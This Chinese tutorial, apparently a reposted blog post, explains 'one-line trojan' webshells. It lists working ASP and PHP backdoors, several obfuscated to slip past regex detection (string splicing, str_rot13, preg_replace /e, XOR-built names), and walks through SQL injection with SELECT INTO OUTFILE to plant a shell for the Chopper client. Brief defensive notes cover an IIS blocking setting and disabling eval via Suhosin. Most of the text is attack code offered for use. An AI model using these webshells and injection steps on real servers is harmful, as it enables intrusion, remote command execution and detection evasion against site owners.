您好,登錄后才能下訂單哦!
一句話******原理
<%execute request(“#”)%>是典型的一句話***服務(wù)端代碼,將這個代碼寫入asp文件,就成了一句話***服務(wù)端文件。
仔細(xì)觀察一下<%execute request(“#”)%>這句代碼,括號里的“#”是我們一句話的密碼,我們可以把它改成任意字符,這樣可以避免別人發(fā)現(xiàn)我們的一句話***后,輕松的通過它撿個大便宜,如果我們上傳的一句話代碼為<%execute request(“123456″)%>。那么在客戶端連接文件里要將textarea name=”#”將其改為對應(yīng)的textarea name=“123456”,才能連接成功。
一句話***工作的原理:
將一句話***插入到asp文件中(包括asa.cdx.cer文件),該語句將會作為觸發(fā),接收***者通過客戶端提交的數(shù)據(jù),執(zhí)行并完成相應(yīng)的***操作。
客戶端則用來向服務(wù)端提交控制數(shù)據(jù),提交的數(shù)據(jù)通過服務(wù)端構(gòu)成完整的asp功能語句并執(zhí)行,也就是生成我們所需要的asp***文件。
一句話***能連接成功有兩個前提條件:
一、服務(wù)器端沒有禁止Adodb.Stream組件,因?yàn)槲覀兪褂靡痪湓?**寫入WebShell代碼的條件是服務(wù)器端創(chuàng)建Adodb.Stream組件,如果該組件被禁用的話無法寫入。
二、權(quán)限問題,如果當(dāng)前的虛擬目錄禁止user組或者everyone寫入,同樣不會成功。
如何啟用“一句話”***攔截功能?
(1)在服務(wù)器 wzxStopKeyWord.ini 文件中,設(shè)置 blockmuma = 1 表示啟用此功能,攔截“一句話”***。
(2)重啟IIS即可生效。
一.eval
eval用法:
eval() 函數(shù)把字符串按照 PHP 代碼來計(jì)算。
該字符串必須是合法的 PHP 代碼,且必須以分號結(jié)尾。
如果沒有在代碼字符串中調(diào)用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數(shù)返回 false。
1 <?phpeval($_POST[password]);?>
二.assert
Assert用法:
assert這個函數(shù)在php語言中是用來判斷一個表達(dá)式是否成立。返回true or false;
這跟eval()類似。不過eval($code_str)只是執(zhí)行符合php編碼規(guī)范的,assert的用法卻更詳細(xì)一點(diǎn) 。
assert_option()可以用來對assert()進(jìn)行一些約束和控制
默認(rèn)值:
1 2 3 4 5 ASSERT_ACTIVE=1//Assert函數(shù)的開關(guān) ASSERT_WARNING=1//當(dāng)表達(dá)式為false時(shí),是否要輸出警告性的錯誤提示,issue a PHP warning for each failed assertion ASSERT_BAIL=0//是否要中止運(yùn)行;terminate execution on failed assertions ASSERT_QUIET_EVAL=0//是否關(guān)閉錯誤提示,在執(zhí)行表達(dá)式時(shí);disable error_reporting during assertion expression evaluation ASSERT_CALLBACK=(NULL)// 是否啟動回調(diào)函數(shù) user function to call on failed assertions
可以通過以上方法修改assert后門,達(dá)到繞過正則:
1 <?phpassert($_POST[password]);?>
三.變形一句話:
1 <?php$_GET['xxoo']($_POST['cmd']);?>
客戶端用菜刀,密碼cmd,url為test.php?xxoo=assert
1 <?php$_POST['xxoo']($_POST['cmd']);?>
這個是直接發(fā)post數(shù)據(jù)包就OK。
1 2 3 4 5 6 7 <?php $a=“a”.”s”.”s”.”e”.”r”.”t”; $a($_POST["cmd"]); ?>
1 <?php($_=@$_GET[password]).@$_($_POST[xxoo])?>
利用方法:http://localhost/password.php?password=asstrt
原理就是get傳遞參數(shù)assert然后形成@asserT@($_($_POST[xxoo])
1 <?php$_POST['password']($_POST['cmd']);?
提交post內(nèi)容形成assert,eval。
四.通過str_replace替換
$a = str_replace(x,””,”axsxxsxexrxxt”)
最后要形成的是$a = assert
五.
1 2 3 <?php @preg_replace(“/[email]/e”,$_POST['h'],”error”); ?>
談?wù)勥@個后門吧,這個是用e修飾符,只需要e所在的位置跟最后的”error”正則匹配正確就會$_POST[‘h’]的內(nèi)容。
那么我們只需要用菜刀<O>h=@assert($_POST[c]);</O>就可以,讓h參數(shù)執(zhí)行。
六.
1 2 3 4 5 6 7 <?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php${'_'.$_}['_'](${'_'.$_}['__']);?>
菜刀里寫:http://localhost/2.php?_=assert&__=eval($_POST[‘xxoo’])
密碼:xxoo
原理分析你只需要讓$_拼接打印即可。
七.
1 2 3 <?php ($b4dboy=$_POST['1'])&&@preg_replace(‘/ad/e,,'@,.str_rot13(‘riny,).,($b4dboy)','add'); ?>
‘@’.str_rot13(‘riny’)相當(dāng)于@eval,然后你懂的。
其實(shí)大都數(shù)原理都是如此,加了變形,解析后依然是原裝語句eval,assert。
在這里順便講一下SQL注入中寫一句話拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 這個語句,下面是一個語句的例子:
SELECT * INTO OUTFILE 'C:\log1.txt'
這樣就可以把查詢到的數(shù)據(jù)寫入到C盤的log1.txt這個文件里面。利用這個原理我們可以把PHP的一句話***寫到磁盤上從而拿到webshell。
本地的目標(biāo)站點(diǎn)來實(shí)戰(zhàn)一下,我們的目的是在目標(biāo)的物理路徑D:/WWW/下面生成一個php文件,從而可以使我們用菜刀連接上去
先簡單的判斷是否存在注入漏洞利用, 使用單引號'報(bào)錯, 然后是and 1=1 頁面正常 和 and 1=2 頁面不正常判斷存在sql注入漏洞,現(xiàn)在猜測一下字段數(shù)量。
在order by 3的時(shí)候會出現(xiàn)錯誤,2的時(shí)候正確于是猜測字段2,現(xiàn)在我們通過union查詢語句查詢一下當(dāng)前的用戶是誰。
猜測可能是file權(quán)限,試試寫一下***到網(wǎng)站路徑,***一定要寫16進(jìn)制。下面我們的一句話是 <?php eval($_POST[ximo]); ?>的16進(jìn)制
然后菜刀連接即可成功(如有不懂可以聯(lián)系本人,本人將會將最詳細(xì)的指導(dǎo)你,僅限妹子)
eval函數(shù)簡介與PHP一句話***剖析
一:eval函數(shù)
1.eval() 函數(shù)把字符串按照 PHP 代碼來計(jì)算。
2.該字符串必須是合法的 PHP 代碼,且必須以分號結(jié)尾。
3.如果沒有在代碼字符串中調(diào)用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數(shù)返回 false。
二:eval函數(shù)的一般用法
<?php
$string = "beautiful";
$time = "winter";
$str = 'This is a $string $time morning!';
echo $str. "<br />";
eval("\$str = \"$str\";");
echo $str;
?>
輸出
This is a $string $time morning!
This is a beautiful winter morning!
三:eval函數(shù)的特殊用法
eval($_GET["cmd"]);
四:php一句話掛馬的原理
1.通過數(shù)據(jù)庫寫馬:
select "<?php eval($_GET['cmd'])'?>" into outfile "D:\\phpStudy\\WWW\\bb.php",不過這個命令是DB和web在同一臺機(jī)器的時(shí)候可以這樣執(zhí)行
2.通過web寫馬
<?php
eval($_GET["cmd"]);
?>
訪問:
http://localhost/aa.php?cmd=fwrite(fopen("aa.txt", "w"),"hello,world!");
查看php的shell信息:
http://localhost/aa.php?cmd=phpinfo();
查看當(dāng)前運(yùn)行的服務(wù)
http://localhost/aa.php?cmd=system("net start");
五:禁用eval函數(shù)
無論是linux服務(wù)器還是windows服務(wù)器,eval命令是非常危險(xiǎn)的
如何禁用eval命令
在php.ini中這樣設(shè)置disable_functions =eval是無法禁用eval的,根據(jù)php手冊說明,eval是一個語言構(gòu)造器而不是一個函數(shù)。如果要禁用eval,則需要第三方擴(kuò)展,使用Suhosin
linux下安裝:
php的安裝就不寫了
suhosin的安裝
wget http://download.suhosin.org/suhosin-0.9.23.tgz
tar zxvf suhosin-0.9.23.tgz
cd suhosin-0.9.23
/usr/local/php/bin/phpize //這一步不能省
./configure --with-php-config=/usr/local/php/bin/php-config //必須在這兒注明php-config所在的絕對路徑。
make && make install
Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/
然后在php.ini中增加一行下列語句。
extension=suhosin.so
suhosin.executor.disable_eval = on
像以上的一句話***都是比較常見的類型,希望各位補(bǔ)充,也方便大家互相學(xué)習(xí)互相進(jìn)步,共同在網(wǎng)絡(luò)上實(shí)現(xiàn)自己的夢想
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。